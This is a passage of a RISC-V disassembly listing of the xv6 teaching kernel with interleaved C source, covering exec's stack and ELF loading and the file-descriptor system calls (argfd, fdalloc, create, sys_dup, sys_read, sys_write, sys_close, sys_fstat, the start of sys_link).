s5,s4 80004c8e: bf6d j 80004c48 <exec+0x100> uint64 argc, sz = 0, sp, ustack[MAXARG+1], stackbase; 80004c90: 4901 li s2,0 iunlockput(ip); 80004c92: 8526 mv a0,s1 80004c94: fffff097 auipc ra,0xfffff 80004c98: bd8080e7 jalr -1064(ra) # 8000386c <iunlockput> end_op(); 80004c9c: fffff097 auipc ra,0xfffff 80004ca0: 3aa080e7 jalr 938(ra) # 80004046 <end_op> p = myproc(); 80004ca4: ffffd097 auipc ra,0xffffd 80004ca8: d3a080e7 jalr -710(ra) # 800019de <myproc> 80004cac: 8aaa mv s5,a0 uint64 oldsz = p->sz; 80004cae: 04853d03 ld s10,72(a0) sz = PGROUNDUP(sz); 80004cb2: 6785 lui a5,0x1 80004cb4: 17fd addi a5,a5,-1 80004cb6: 993e add s2,s2,a5 80004cb8: 757d lui a0,0xfffff 80004cba: 00a977b3 and a5,s2,a0 80004cbe: e0f43423 sd a5,-504(s0) if((sz1 = uvmalloc(pagetable, sz, sz + 2*PGSIZE)) == 0) 80004cc2: 6609 lui a2,0x2 80004cc4: 963e add a2,a2,a5 80004cc6: 85be mv a1,a5 80004cc8: 855e mv a0,s7 80004cca: ffffc097 auipc ra,0xffffc 80004cce: 7b8080e7 jalr 1976(ra) # 80001482 <uvmalloc> 80004cd2: 8b2a mv s6,a0 ip = 0; 80004cd4: 4481 li s1,0 if((sz1 = uvmalloc(pagetable, sz, sz + 2*PGSIZE)) == 0) 80004cd6: 12050c63 beqz a0,80004e0e <exec+0x2c6> uvmclear(pagetable, sz-2*PGSIZE); 80004cda: 75f9 lui a1,0xffffe 80004cdc: 95aa add a1,a1,a0 80004cde: 855e mv a0,s7 80004ce0: ffffd097 auipc ra,0xffffd 80004ce4: 9c0080e7 jalr -1600(ra) # 800016a0 <uvmclear> stackbase = sp - PGSIZE; 80004ce8: 7c7d lui s8,0xfffff 80004cea: 9c5a add s8,s8,s6 for(argc = 0; argv[argc]; argc++) { 80004cec: e0043783 ld a5,-512(s0) 80004cf0: 6388 ld a0,0(a5) 80004cf2: c535 beqz a0,80004d5e <exec+0x216> 80004cf4: e8840993 addi s3,s0,-376 80004cf8: f8840c93 addi s9,s0,-120 sp = sz; 80004cfc: 895a mv s2,s6 sp -= strlen(argv[argc]) + 1; 80004cfe: ffffc097 auipc ra,0xffffc 80004d02: 196080e7 jalr 406(ra) # 80000e94 <strlen> 80004d06: 2505 addiw a0,a0,1 80004d08: 40a90933 sub s2,s2,a0 sp -= sp % 16; // riscv sp must be 16-byte aligned 80004d0c: ff097913 andi s2,s2,-16 if(sp < stackbase) 80004d10: 13896363 bltu s2,s8,80004e36 <exec+0x2ee> if(copyout(pagetable, sp, argv[argc], strlen(argv[argc]) + 1) < 0) 80004d14: e0043d83 ld s11,-512(s0) 80004d18: 000dba03 ld s4,0(s11) 80004d1c: 8552 mv a0,s4 80004d1e: ffffc097 auipc ra,0xffffc 80004d22: 176080e7 jalr 374(ra) # 80000e94 <strlen> 80004d26: 0015069b addiw a3,a0,1 80004d2a: 8652 mv a2,s4 80004d2c: 85ca mv a1,s2 80004d2e: 855e mv a0,s7 80004d30: ffffd097 auipc ra,0xffffd 80004d34: 9a2080e7 jalr -1630(ra) # 800016d2 <copyout> 80004d38: 10054363 bltz a0,80004e3e <exec+0x2f6> ustack[argc] = sp; 80004d3c: 0129b023 sd s2,0(s3) for(argc = 0; argv[argc]; argc++) { 80004d40: 0485 addi s1,s1,1 80004d42: 008d8793 addi a5,s11,8 80004d46: e0f43023 sd a5,-512(s0) 80004d4a: 008db503 ld a0,8(s11) 80004d4e: c911 beqz a0,80004d62 <exec+0x21a> if(argc >= MAXARG) 80004d50: 09a1 addi s3,s3,8 80004d52: fb3c96e3 bne s9,s3,80004cfe <exec+0x1b6> sz = sz1; 80004d56: e1643423 sd s6,-504(s0) ip = 0; 80004d5a: 4481 li s1,0 80004d5c: a84d j 80004e0e <exec+0x2c6> sp = sz; 80004d5e: 895a mv s2,s6 for(argc = 0; argv[argc]; argc++) { 80004d60: 4481 li s1,0 ustack[argc] = 0; 80004d62: 00349793 slli a5,s1,0x3 80004d66: f9040713 addi a4,s0,-112 80004d6a: 97ba add a5,a5,a4 80004d6c: ee07bc23 sd zero,-264(a5) # ef8 <_entry-0x7ffff108> sp -= (argc+1) * sizeof(uint64); 80004d70: 00148693 addi a3,s1,1 80004d74: 068e slli a3,a3,0x3 80004d76: 40d90933 sub s2,s2,a3 sp -= sp % 16; 80004d7a: ff097913 andi s2,s2,-16 if(sp < stackbase) 80004d7e: 01897663 bgeu s2,s8,80004d8a <exec+0x242> sz = sz1; 80004d82: e1643423 sd s6,-504(s0) ip = 0; 80004d86: 4481 li s1,0 80004d88: a059 j 80004e0e <exec+0x2c6> if(copyout(pagetable, sp, (char *)ustack, (argc+1)*sizeof(uint64)) < 0) 80004d8a: e8840613 addi a2,s0,-376 80004d8e: 85ca mv a1,s2 80004d90: 855e mv a0,s7 80004d92: ffffd097 auipc ra,0xffffd 80004d96: 940080e7 jalr -1728(ra) # 800016d2 <copyout> 80004d9a: 0a054663 bltz a0,80004e46 <exec+0x2fe> p->trapframe->a1 = sp; 80004d9e: 058ab783 ld a5,88(s5) 80004da2: 0727bc23 sd s2,120(a5) for(last=s=path; *s; s++) 80004da6: df843783 ld a5,-520(s0) 80004daa: 0007c703 lbu a4,0(a5) 80004dae: cf11 beqz a4,80004dca <exec+0x282> 80004db0: 0785 addi a5,a5,1 if(*s == '/') 80004db2: 02f00693 li a3,47 80004db6: a029 j 80004dc0 <exec+0x278> for(last=s=path; *s; s++) 80004db8: 0785 addi a5,a5,1 80004dba: fff7c703 lbu a4,-1(a5) 80004dbe: c711 beqz a4,80004dca <exec+0x282> if(*s == '/') 80004dc0: fed71ce3 bne a4,a3,80004db8 <exec+0x270> last = s+1; 80004dc4: def43c23 sd a5,-520(s0) 80004dc8: bfc5 j 80004db8 <exec+0x270> safestrcpy(p->name, last, sizeof(p->name)); 80004dca: 4641 li a2,16 80004dcc: df843583 ld a1,-520(s0) 80004dd0: 158a8513 addi a0,s5,344 80004dd4: ffffc097 auipc ra,0xffffc 80004dd8: 08e080e7 jalr 142(ra) # 80000e62 <safestrcpy> oldpagetable = p->pagetable; 80004ddc: 050ab503 ld a0,80(s5) p->pagetable = pagetable; 80004de0: 057ab823 sd s7,80(s5) p->sz = sz; 80004de4: 056ab423 sd s6,72(s5) p->trapframe->epc = elf.entry; // initial program counter = main 80004de8: 058ab783 ld a5,88(s5) 80004dec: e6043703 ld a4,-416(s0) 80004df0: ef98 sd a4,24(a5) p->trapframe->sp = sp; // initial stack pointer 80004df2: 058ab783 ld a5,88(s5) 80004df6: 0327b823 sd s2,48(a5) proc_freepagetable(oldpagetable, oldsz); 80004dfa: 85ea mv a1,s10 80004dfc: ffffd097 auipc ra,0xffffd 80004e00: d42080e7 jalr -702(ra) # 80001b3e <proc_freepagetable> return argc; // this ends up in a0, the first argument to main(argc, argv) 80004e04: 0004851b sext.w a0,s1 80004e08: bbe1 j 80004be0 <exec+0x98> 80004e0a: e1243423 sd s2,-504(s0) proc_freepagetable(pagetable, sz); 80004e0e: e0843583 ld a1,-504(s0) 80004e12: 855e mv a0,s7 80004e14: ffffd097 auipc ra,0xffffd 80004e18: d2a080e7 jalr -726(ra) # 80001b3e <proc_freepagetable> if(ip){ 80004e1c: da0498e3 bnez s1,80004bcc <exec+0x84> return -1; 80004e20: 557d li a0,-1 80004e22: bb7d j 80004be0 <exec+0x98> 80004e24: e1243423 sd s2,-504(s0) 80004e28: b7dd j 80004e0e <exec+0x2c6> 80004e2a: e1243423 sd s2,-504(s0) 80004e2e: b7c5 j 80004e0e <exec+0x2c6> 80004e30: e1243423 sd s2,-504(s0) 80004e34: bfe9 j 80004e0e <exec+0x2c6> sz = sz1; 80004e36: e1643423 sd s6,-504(s0) ip = 0; 80004e3a: 4481 li s1,0 80004e3c: bfc9 j 80004e0e <exec+0x2c6> sz = sz1; 80004e3e: e1643423 sd s6,-504(s0) ip = 0; 80004e42: 4481 li s1,0 80004e44: b7e9 j 80004e0e <exec+0x2c6> sz = sz1; 80004e46: e1643423 sd s6,-504(s0) ip = 0; 80004e4a: 4481 li s1,0 80004e4c: b7c9 j 80004e0e <exec+0x2c6> if((sz1 = uvmalloc(pagetable, sz, ph.vaddr + ph.memsz)) == 0) 80004e4e: e0843903 ld s2,-504(s0) for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){ 80004e52: 2b05 addiw s6,s6,1 80004e54: 0389899b addiw s3,s3,56 80004e58: e8045783 lhu a5,-384(s0) 80004e5c: e2fb5be3 bge s6,a5,80004c92 <exec+0x14a> if(readi(ip, 0, (uint64)&ph, off, sizeof(ph)) != sizeof(ph)) 80004e60: 2981 sext.w s3,s3 80004e62: 03800713 li a4,56 80004e66: 86ce mv a3,s3 80004e68: e1040613 addi a2,s0,-496 80004e6c: 4581 li a1,0 80004e6e: 8526 mv a0,s1 80004e70: fffff097 auipc ra,0xfffff 80004e74: a4e080e7 jalr -1458(ra) # 800038be <readi> 80004e78: 03800793 li a5,56 80004e7c: f8f517e3 bne a0,a5,80004e0a <exec+0x2c2> if(ph.type != ELF_PROG_LOAD) 80004e80: e1042783 lw a5,-496(s0) 80004e84: 4705 li a4,1 80004e86: fce796e3 bne a5,a4,80004e52 <exec+0x30a> if(ph.memsz < ph.filesz) 80004e8a: e3843603 ld a2,-456(s0) 80004e8e: e3043783 ld a5,-464(s0) 80004e92: f8f669e3 bltu a2,a5,80004e24 <exec+0x2dc> if(ph.vaddr + ph.memsz < ph.vaddr) 80004e96: e2043783 ld a5,-480(s0) 80004e9a: 963e add a2,a2,a5 80004e9c: f8f667e3 bltu a2,a5,80004e2a <exec+0x2e2> if((sz1 = uvmalloc(pagetable, sz, ph.vaddr + ph.memsz)) == 0) 80004ea0: 85ca mv a1,s2 80004ea2: 855e mv a0,s7 80004ea4: ffffc097 auipc ra,0xffffc 80004ea8: 5de080e7 jalr 1502(ra) # 80001482 <uvmalloc> 80004eac: e0a43423 sd a0,-504(s0) 80004eb0: d141 beqz a0,80004e30 <exec+0x2e8> if(ph.vaddr % PGSIZE != 0) 80004eb2: e2043d03 ld s10,-480(s0) 80004eb6: df043783 ld a5,-528(s0) 80004eba: 00fd77b3 and a5,s10,a5 80004ebe: fba1 bnez a5,80004e0e <exec+0x2c6> if(loadseg(pagetable, ph.vaddr, ip, ph.off, ph.filesz) < 0) 80004ec0: e1842d83 lw s11,-488(s0) 80004ec4: e3042c03 lw s8,-464(s0) for(i = 0; i < sz; i += PGSIZE){ 80004ec8: f80c03e3 beqz s8,80004e4e <exec+0x306> 80004ecc: 8a62 mv s4,s8 80004ece: 4901 li s2,0 80004ed0: b345 j 80004c70 <exec+0x128> 0000000080004ed2 <argfd>: // Fetch the nth word-sized system call argument as a file descriptor // and return both the descriptor and the corresponding struct file. static int argfd(int n, int *pfd, struct file **pf) { 80004ed2: 7179 addi sp,sp,-48 80004ed4: f406 sd ra,40(sp) 80004ed6: f022 sd s0,32(sp) 80004ed8: ec26 sd s1,24(sp) 80004eda: e84a sd s2,16(sp) 80004edc: 1800 addi s0,sp,48 80004ede: 892e mv s2,a1 80004ee0: 84b2 mv s1,a2 int fd; struct file *f; if(argint(n, &fd) < 0) 80004ee2: fdc40593 addi a1,s0,-36 80004ee6: ffffe097 auipc ra,0xffffe 80004eea: bb2080e7 jalr -1102(ra) # 80002a98 <argint> 80004eee: 04054063 bltz a0,80004f2e <argfd+0x5c> return -1; if(fd < 0 || fd >= NOFILE || (f=myproc()->ofile[fd]) == 0) 80004ef2: fdc42703 lw a4,-36(s0) 80004ef6: 47bd li a5,15 80004ef8: 02e7ed63 bltu a5,a4,80004f32 <argfd+0x60> 80004efc: ffffd097 auipc ra,0xffffd 80004f00: ae2080e7 jalr -1310(ra) # 800019de <myproc> 80004f04: fdc42703 lw a4,-36(s0) 80004f08: 01a70793 addi a5,a4,26 80004f0c: 078e slli a5,a5,0x3 80004f0e: 953e add a0,a0,a5 80004f10: 611c ld a5,0(a0) 80004f12: c395 beqz a5,80004f36 <argfd+0x64> return -1; if(pfd) 80004f14: 00090463 beqz s2,80004f1c <argfd+0x4a> *pfd = fd; 80004f18: 00e92023 sw a4,0(s2) if(pf) *pf = f; return 0; 80004f1c: 4501 li a0,0 if(pf) 80004f1e: c091 beqz s1,80004f22 <argfd+0x50> *pf = f; 80004f20: e09c sd a5,0(s1) } 80004f22: 70a2 ld ra,40(sp) 80004f24: 7402 ld s0,32(sp) 80004f26: 64e2 ld s1,24(sp) 80004f28: 6942 ld s2,16(sp) 80004f2a: 6145 addi sp,sp,48 80004f2c: 8082 ret return -1; 80004f2e: 557d li a0,-1 80004f30: bfcd j 80004f22 <argfd+0x50> return -1; 80004f32: 557d li a0,-1 80004f34: b7fd j 80004f22 <argfd+0x50> 80004f36: 557d li a0,-1 80004f38: b7ed j 80004f22 <argfd+0x50> 0000000080004f3a <fdalloc>: // Allocate a file descriptor for the given file. // Takes over file reference from caller on success. static int fdalloc(struct file *f) { 80004f3a: 1101 addi sp,sp,-32 80004f3c: ec06 sd ra,24(sp) 80004f3e: e822 sd s0,16(sp) 80004f40: e426 sd s1,8(sp) 80004f42: 1000 addi s0,sp,32 80004f44: 84aa mv s1,a0 int fd; struct proc *p = myproc(); 80004f46: ffffd097 auipc ra,0xffffd 80004f4a: a98080e7 jalr -1384(ra) # 800019de <myproc> 80004f4e: 862a mv a2,a0 for(fd = 0; fd < NOFILE; fd++){ 80004f50: 0d050793 addi a5,a0,208 # fffffffffffff0d0 <end+0xffffffff7ffd90d0> 80004f54: 4501 li a0,0 80004f56: 46c1 li a3,16 if(p->ofile[fd] == 0){ 80004f58: 6398 ld a4,0(a5) 80004f5a: cb19 beqz a4,80004f70 <fdalloc+0x36> for(fd = 0; fd < NOFILE; fd++){ 80004f5c: 2505 addiw a0,a0,1 80004f5e: 07a1 addi a5,a5,8 80004f60: fed51ce3 bne a0,a3,80004f58 <fdalloc+0x1e> p->ofile[fd] = f; return fd; } } return -1; 80004f64: 557d li a0,-1 } 80004f66: 60e2 ld ra,24(sp) 80004f68: 6442 ld s0,16(sp) 80004f6a: 64a2 ld s1,8(sp) 80004f6c: 6105 addi sp,sp,32 80004f6e: 8082 ret p->ofile[fd] = f; 80004f70: 01a50793 addi a5,a0,26 80004f74: 078e slli a5,a5,0x3 80004f76: 963e add a2,a2,a5 80004f78: e204 sd s1,0(a2) return fd; 80004f7a: b7f5 j 80004f66 <fdalloc+0x2c> 0000000080004f7c <create>: return -1; } static struct inode* create(char *path, short type, short major, short minor) { 80004f7c: 715d addi sp,sp,-80 80004f7e: e486 sd ra,72(sp) 80004f80: e0a2 sd s0,64(sp) 80004f82: fc26 sd s1,56(sp) 80004f84: f84a sd s2,48(sp) 80004f86: f44e sd s3,40(sp) 80004f88: f052 sd s4,32(sp) 80004f8a: ec56 sd s5,24(sp) 80004f8c: 0880 addi s0,sp,80 80004f8e: 89ae mv s3,a1 80004f90: 8ab2 mv s5,a2 80004f92: 8a36 mv s4,a3 struct inode *ip, *dp; char name[DIRSIZ]; if((dp = nameiparent(path, name)) == 0) 80004f94: fb040593 addi a1,s0,-80 80004f98: fffff097 auipc ra,0xfffff 80004f9c: e40080e7 jalr -448(ra) # 80003dd8 <nameiparent> 80004fa0: 892a mv s2,a0 80004fa2: 12050f63 beqz a0,800050e0 <create+0x164> return 0; ilock(dp); 80004fa6: ffffe097 auipc ra,0xffffe 80004faa: 664080e7 jalr 1636(ra) # 8000360a <ilock> if((ip = dirlookup(dp, name, 0)) != 0){ 80004fae: 4601 li a2,0 80004fb0: fb040593 addi a1,s0,-80 80004fb4: 854a mv a0,s2 80004fb6: fffff097 auipc ra,0xfffff 80004fba: b32080e7 jalr -1230(ra) # 80003ae8 <dirlookup> 80004fbe: 84aa mv s1,a0 80004fc0: c921 beqz a0,80005010 <create+0x94> iunlockput(dp); 80004fc2: 854a mv a0,s2 80004fc4: fffff097 auipc ra,0xfffff 80004fc8: 8a8080e7 jalr -1880(ra) # 8000386c <iunlockput> ilock(ip); 80004fcc: 8526 mv a0,s1 80004fce: ffffe097 auipc ra,0xffffe 80004fd2: 63c080e7 jalr 1596(ra) # 8000360a <ilock> if(type == T_FILE && (ip->type == T_FILE || ip->type == T_DEVICE)) 80004fd6: 2981 sext.w s3,s3 80004fd8: 4789 li a5,2 80004fda: 02f99463 bne s3,a5,80005002 <create+0x86> 80004fde: 0444d783 lhu a5,68(s1) 80004fe2: 37f9 addiw a5,a5,-2 80004fe4: 17c2 slli a5,a5,0x30 80004fe6: 93c1 srli a5,a5,0x30 80004fe8: 4705 li a4,1 80004fea: 00f76c63 bltu a4,a5,80005002 <create+0x86> panic("create: dirlink"); iunlockput(dp); return ip; } 80004fee: 8526 mv a0,s1 80004ff0: 60a6 ld ra,72(sp) 80004ff2: 6406 ld s0,64(sp) 80004ff4: 74e2 ld s1,56(sp) 80004ff6: 7942 ld s2,48(sp) 80004ff8: 79a2 ld s3,40(sp) 80004ffa: 7a02 ld s4,32(sp) 80004ffc: 6ae2 ld s5,24(sp) 80004ffe: 6161 addi sp,sp,80 80005000: 8082 ret iunlockput(ip); 80005002: 8526 mv a0,s1 80005004: fffff097 auipc ra,0xfffff 80005008: 868080e7 jalr -1944(ra) # 8000386c <iunlockput> return 0; 8000500c: 4481 li s1,0 8000500e: b7c5 j 80004fee <create+0x72> if((ip = ialloc(dp->dev, type)) == 0) 80005010: 85ce mv a1,s3 80005012: 00092503 lw a0,0(s2) 80005016: ffffe097 auipc ra,0xffffe 8000501a: 45c080e7 jalr 1116(ra) # 80003472 <ialloc> 8000501e: 84aa mv s1,a0 80005020: c529 beqz a0,8000506a <create+0xee> ilock(ip); 80005022: ffffe097 auipc ra,0xffffe 80005026: 5e8080e7 jalr 1512(ra) # 8000360a <ilock> ip->major = major; 8000502a: 05549323 sh s5,70(s1) ip->minor = minor; 8000502e: 05449423 sh s4,72(s1) ip->nlink = 1; 80005032: 4785 li a5,1 80005034: 04f49523 sh a5,74(s1) iupdate(ip); 80005038: 8526 mv a0,s1 8000503a: ffffe097 auipc ra,0xffffe 8000503e: 506080e7 jalr 1286(ra) # 80003540 <iupdate> if(type == T_DIR){ // Create . and .. entries. 80005042: 2981 sext.w s3,s3 80005044: 4785 li a5,1 80005046: 02f98a63 beq s3,a5,8000507a <create+0xfe> if(dirlink(dp, name, ip->inum) < 0) 8000504a: 40d0 lw a2,4(s1) 8000504c: fb040593 addi a1,s0,-80 80005050: 854a mv a0,s2 80005052: fffff097 auipc ra,0xfffff 80005056: ca6080e7 jalr -858(ra) # 80003cf8 <dirlink> 8000505a: 06054b63 bltz a0,800050d0 <create+0x154> iunlockput(dp); 8000505e: 854a mv a0,s2 80005060: fffff097 auipc ra,0xfffff 80005064: 80c080e7 jalr -2036(ra) # 8000386c <iunlockput> return ip; 80005068: b759 j 80004fee <create+0x72> panic("create: ialloc"); 8000506a: 00003517 auipc a0,0x3 8000506e: 66e50513 addi a0,a0,1646 # 800086d8 <syscalls+0x2b0> 80005072: ffffb097 auipc ra,0xffffb 80005076: 4d6080e7 jalr 1238(ra) # 80000548 <panic> dp->nlink++; // for ".." 8000507a: 04a95783 lhu a5,74(s2) 8000507e: 2785 addiw a5,a5,1 80005080: 04f91523 sh a5,74(s2) iupdate(dp); 80005084: 854a mv a0,s2 80005086: ffffe097 auipc ra,0xffffe 8000508a: 4ba080e7 jalr 1210(ra) # 80003540 <iupdate> if(dirlink(ip, ".", ip->inum) < 0 || dirlink(ip, "..", dp->inum) < 0) 8000508e: 40d0 lw a2,4(s1) 80005090: 00003597 auipc a1,0x3 80005094: 65858593 addi a1,a1,1624 # 800086e8 <syscalls+0x2c0> 80005098: 8526 mv a0,s1 8000509a: fffff097 auipc ra,0xfffff 8000509e: c5e080e7 jalr -930(ra) # 80003cf8 <dirlink> 800050a2: 00054f63 bltz a0,800050c0 <create+0x144> 800050a6: 00492603 lw a2,4(s2) 800050aa: 00003597 auipc a1,0x3 800050ae: 64658593 addi a1,a1,1606 # 800086f0 <syscalls+0x2c8> 800050b2: 8526 mv a0,s1 800050b4: fffff097 auipc ra,0xfffff 800050b8: c44080e7 jalr -956(ra) # 80003cf8 <dirlink> 800050bc: f80557e3 bgez a0,8000504a <create+0xce> panic("create dots"); 800050c0: 00003517 auipc a0,0x3 800050c4: 63850513 addi a0,a0,1592 # 800086f8 <syscalls+0x2d0> 800050c8: ffffb097 auipc ra,0xffffb 800050cc: 480080e7 jalr 1152(ra) # 80000548 <panic> panic("create: dirlink"); 800050d0: 00003517 auipc a0,0x3 800050d4: 63850513 addi a0,a0,1592 # 80008708 <syscalls+0x2e0> 800050d8: ffffb097 auipc ra,0xffffb 800050dc: 470080e7 jalr 1136(ra) # 80000548 <panic> return 0; 800050e0: 84aa mv s1,a0 800050e2: b731 j 80004fee <create+0x72> 00000000800050e4 <sys_dup>: { 800050e4: 7179 addi sp,sp,-48 800050e6: f406 sd ra,40(sp) 800050e8: f022 sd s0,32(sp) 800050ea: ec26 sd s1,24(sp) 800050ec: 1800 addi s0,sp,48 if(argfd(0, 0, &f) < 0) 800050ee: fd840613 addi a2,s0,-40 800050f2: 4581 li a1,0 800050f4: 4501 li a0,0 800050f6: 00000097 auipc ra,0x0 800050fa: ddc080e7 jalr -548(ra) # 80004ed2 <argfd> return -1; 800050fe: 57fd li a5,-1 if(argfd(0, 0, &f) < 0) 80005100: 02054363 bltz a0,80005126 <sys_dup+0x42> if((fd=fdalloc(f)) < 0) 80005104: fd843503 ld a0,-40(s0) 80005108: 00000097 auipc ra,0x0 8000510c: e32080e7 jalr -462(ra) # 80004f3a <fdalloc> 80005110: 84aa mv s1,a0 return -1; 80005112: 57fd li a5,-1 if((fd=fdalloc(f)) < 0) 80005114: 00054963 bltz a0,80005126 <sys_dup+0x42> filedup(f); 80005118: fd843503 ld a0,-40(s0) 8000511c: fffff097 auipc ra,0xfffff 80005120: 32a080e7 jalr 810(ra) # 80004446 <filedup> return fd; 80005124: 87a6 mv a5,s1 } 80005126: 853e mv a0,a5 80005128: 70a2 ld ra,40(sp) 8000512a: 7402 ld s0,32(sp) 8000512c: 64e2 ld s1,24(sp) 8000512e: 6145 addi sp,sp,48 80005130: 8082 ret 0000000080005132 <sys_read>: { 80005132: 7179 addi sp,sp,-48 80005134: f406 sd ra,40(sp) 80005136: f022 sd s0,32(sp) 80005138: 1800 addi s0,sp,48 if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argaddr(1, &p) < 0) 8000513a: fe840613 addi a2,s0,-24 8000513e: 4581 li a1,0 80005140: 4501 li a0,0 80005142: 00000097 auipc ra,0x0 80005146: d90080e7 jalr -624(ra) # 80004ed2 <argfd> return -1; 8000514a: 57fd li a5,-1 if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argaddr(1, &p) < 0) 8000514c: 04054163 bltz a0,8000518e <sys_read+0x5c> 80005150: fe440593 addi a1,s0,-28 80005154: 4509 li a0,2 80005156: ffffe097 auipc ra,0xffffe 8000515a: 942080e7 jalr -1726(ra) # 80002a98 <argint> return -1; 8000515e: 57fd li a5,-1 if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argaddr(1, &p) < 0) 80005160: 02054763 bltz a0,8000518e <sys_read+0x5c> 80005164: fd840593 addi a1,s0,-40 80005168: 4505 li a0,1 8000516a: ffffe097 auipc ra,0xffffe 8000516e: 950080e7 jalr -1712(ra) # 80002aba <argaddr> return -1; 80005172: 57fd li a5,-1 if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argaddr(1, &p) < 0) 80005174: 00054d63 bltz a0,8000518e <sys_read+0x5c> return fileread(f, p, n); 80005178: fe442603 lw a2,-28(s0) 8000517c: fd843583 ld a1,-40(s0) 80005180: fe843503 ld a0,-24(s0) 80005184: fffff097 auipc ra,0xfffff 80005188: 44e080e7 jalr 1102(ra) # 800045d2 <fileread> 8000518c: 87aa mv a5,a0 } 8000518e: 853e mv a0,a5 80005190: 70a2 ld ra,40(sp) 80005192: 7402 ld s0,32(sp) 80005194: 6145 addi sp,sp,48 80005196: 8082 ret 0000000080005198 <sys_write>: { 80005198: 7179 addi sp,sp,-48 8000519a: f406 sd ra,40(sp) 8000519c: f022 sd s0,32(sp) 8000519e: 1800 addi s0,sp,48 if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argaddr(1, &p) < 0) 800051a0: fe840613 addi a2,s0,-24 800051a4: 4581 li a1,0 800051a6: 4501 li a0,0 800051a8: 00000097 auipc ra,0x0 800051ac: d2a080e7 jalr -726(ra) # 80004ed2 <argfd> return -1; 800051b0: 57fd li a5,-1 if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argaddr(1, &p) < 0) 800051b2: 04054163 bltz a0,800051f4 <sys_write+0x5c> 800051b6: fe440593 addi a1,s0,-28 800051ba: 4509 li a0,2 800051bc: ffffe097 auipc ra,0xffffe 800051c0: 8dc080e7 jalr -1828(ra) # 80002a98 <argint> return -1; 800051c4: 57fd li a5,-1 if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argaddr(1, &p) < 0) 800051c6: 02054763 bltz a0,800051f4 <sys_write+0x5c> 800051ca: fd840593 addi a1,s0,-40 800051ce: 4505 li a0,1 800051d0: ffffe097 auipc ra,0xffffe 800051d4: 8ea080e7 jalr -1814(ra) # 80002aba <argaddr> return -1; 800051d8: 57fd li a5,-1 if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argaddr(1, &p) < 0) 800051da: 00054d63 bltz a0,800051f4 <sys_write+0x5c> return filewrite(f, p, n); 800051de: fe442603 lw a2,-28(s0) 800051e2: fd843583 ld a1,-40(s0) 800051e6: fe843503 ld a0,-24(s0) 800051ea: fffff097 auipc ra,0xfffff 800051ee: 4aa080e7 jalr 1194(ra) # 80004694 <filewrite> 800051f2: 87aa mv a5,a0 } 800051f4: 853e mv a0,a5 800051f6: 70a2 ld ra,40(sp) 800051f8: 7402 ld s0,32(sp) 800051fa: 6145 addi sp,sp,48 800051fc: 8082 ret 00000000800051fe <sys_close>: { 800051fe: 1101 addi sp,sp,-32 80005200: ec06 sd ra,24(sp) 80005202: e822 sd s0,16(sp) 80005204: 1000 addi s0,sp,32 if(argfd(0, &fd, &f) < 0) 80005206: fe040613 addi a2,s0,-32 8000520a: fec40593 addi a1,s0,-20 8000520e: 4501 li a0,0 80005210: 00000097 auipc ra,0x0 80005214: cc2080e7 jalr -830(ra) # 80004ed2 <argfd> return -1; 80005218: 57fd li a5,-1 if(argfd(0, &fd, &f) < 0) 8000521a: 02054463 bltz a0,80005242 <sys_close+0x44> myproc()->ofile[fd] = 0; 8000521e: ffffc097 auipc ra,0xffffc 80005222: 7c0080e7 jalr 1984(ra) # 800019de <myproc> 80005226: fec42783 lw a5,-20(s0) 8000522a: 07e9 addi a5,a5,26 8000522c: 078e slli a5,a5,0x3 8000522e: 97aa add a5,a5,a0 80005230: 0007b023 sd zero,0(a5) fileclose(f); 80005234: fe043503 ld a0,-32(s0) 80005238: fffff097 auipc ra,0xfffff 8000523c: 260080e7 jalr 608(ra) # 80004498 <fileclose> return 0; 80005240: 4781 li a5,0 } 80005242: 853e mv a0,a5 80005244: 60e2 ld ra,24(sp) 80005246: 6442 ld s0,16(sp) 80005248: 6105 addi sp,sp,32 8000524a: 8082 ret 000000008000524c <sys_fstat>: { 8000524c: 1101 addi sp,sp,-32 8000524e: ec06 sd ra,24(sp) 80005250: e822 sd s0,16(sp) 80005252: 1000 addi s0,sp,32 if(argfd(0, 0, &f) < 0 || argaddr(1, &st) < 0) 80005254: fe840613 addi a2,s0,-24 80005258: 4581 li a1,0 8000525a: 4501 li a0,0 8000525c: 00000097 auipc ra,0x0 80005260: c76080e7 jalr -906(ra) # 80004ed2 <argfd> return -1; 80005264: 57fd li a5,-1 if(argfd(0, 0, &f) < 0 || argaddr(1, &st) < 0) 80005266: 02054563 bltz a0,80005290 <sys_fstat+0x44> 8000526a: fe040593 addi a1,s0,-32 8000526e: 4505 li a0,1 80005270: ffffe097 auipc ra,0xffffe 80005274: 84a080e7 jalr -1974(ra) # 80002aba <argaddr> return -1; 80005278: 57fd li a5,-1 if(argfd(0, 0, &f) < 0 || argaddr(1, &st) < 0) 8000527a: 00054b63 bltz a0,80005290 <sys_fstat+0x44> return filestat(f, st); 8000527e: fe043583 ld a1,-32(s0) 80005282: fe843503 ld a0,-24(s0) 80005286: fffff097 auipc ra,0xfffff 8000528a: 2da080e7 jalr 730(ra) # 80004560 <filestat> 8000528e: 87aa mv a5,a0 } 80005290: 853e mv a0,a5 80005292: 60e2 ld ra,24(sp) 80005294: 6442 ld s0,16(sp) 80005296: 6105 addi sp,sp,32 80005298: 8082 ret 000000008000529a <sys_link>: { 8000529a: 7169 addi sp,sp,-304 8000529c: f606 sd ra,296(sp) 8000529e: f222 sd s0,288(sp) 800052a0: ee26 sd s1,280(sp) 800052a2: ea4a sd s2,272(sp) 800052a4: 1a00 addi s0,sp,304 if(argstr(0, old, MAXPATH) < 0 || argstr(1, new, MAXPATH) < 0) 800052a6: 08000613 li a2,128 800052aa: ed040593 addi a1,s0,-304 800052ae: 4501 li a0,0 800052b0: ffffe097 auipc ra,0xffffe 800052b4: 82c080e7 jalr -2004(ra) # 80002adc <argstr> return -1; 800052b8: 57fd li a5,-1 if(argstr(0, old, MAXPATH) < 0 || argstr(1, new, MAXPATH) < 0) 800052ba: 10054e63 bltz a0,800053d6 <sys_link+0x13c> 800052be: 08000613 li a2,128 800052c2: f5040593 addi a1,s0,-176 800052c6: 4505 li a0,1 800052c8: ffffe097 auipc ra,0xffffe 